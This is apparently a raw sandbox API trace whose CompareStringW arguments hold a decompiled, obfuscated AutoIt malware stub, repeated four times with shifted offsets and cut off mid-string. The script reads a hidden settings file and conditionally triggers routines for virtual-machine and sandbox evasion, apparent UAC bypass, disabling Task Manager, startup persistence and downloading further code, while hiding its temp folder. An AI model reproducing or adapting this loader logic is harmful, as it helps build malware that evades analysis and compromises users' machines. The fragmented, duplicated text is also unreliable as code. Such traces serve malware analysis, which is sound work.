0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0xB90F6847EC557E33AF45D", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0xB90F6847EC557E33AF45D1", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0xB90F6847EC557E33AF45D18", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0xB90F6847EC557E33AF45D188", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.203] CompareStringW (Locale=0x400, 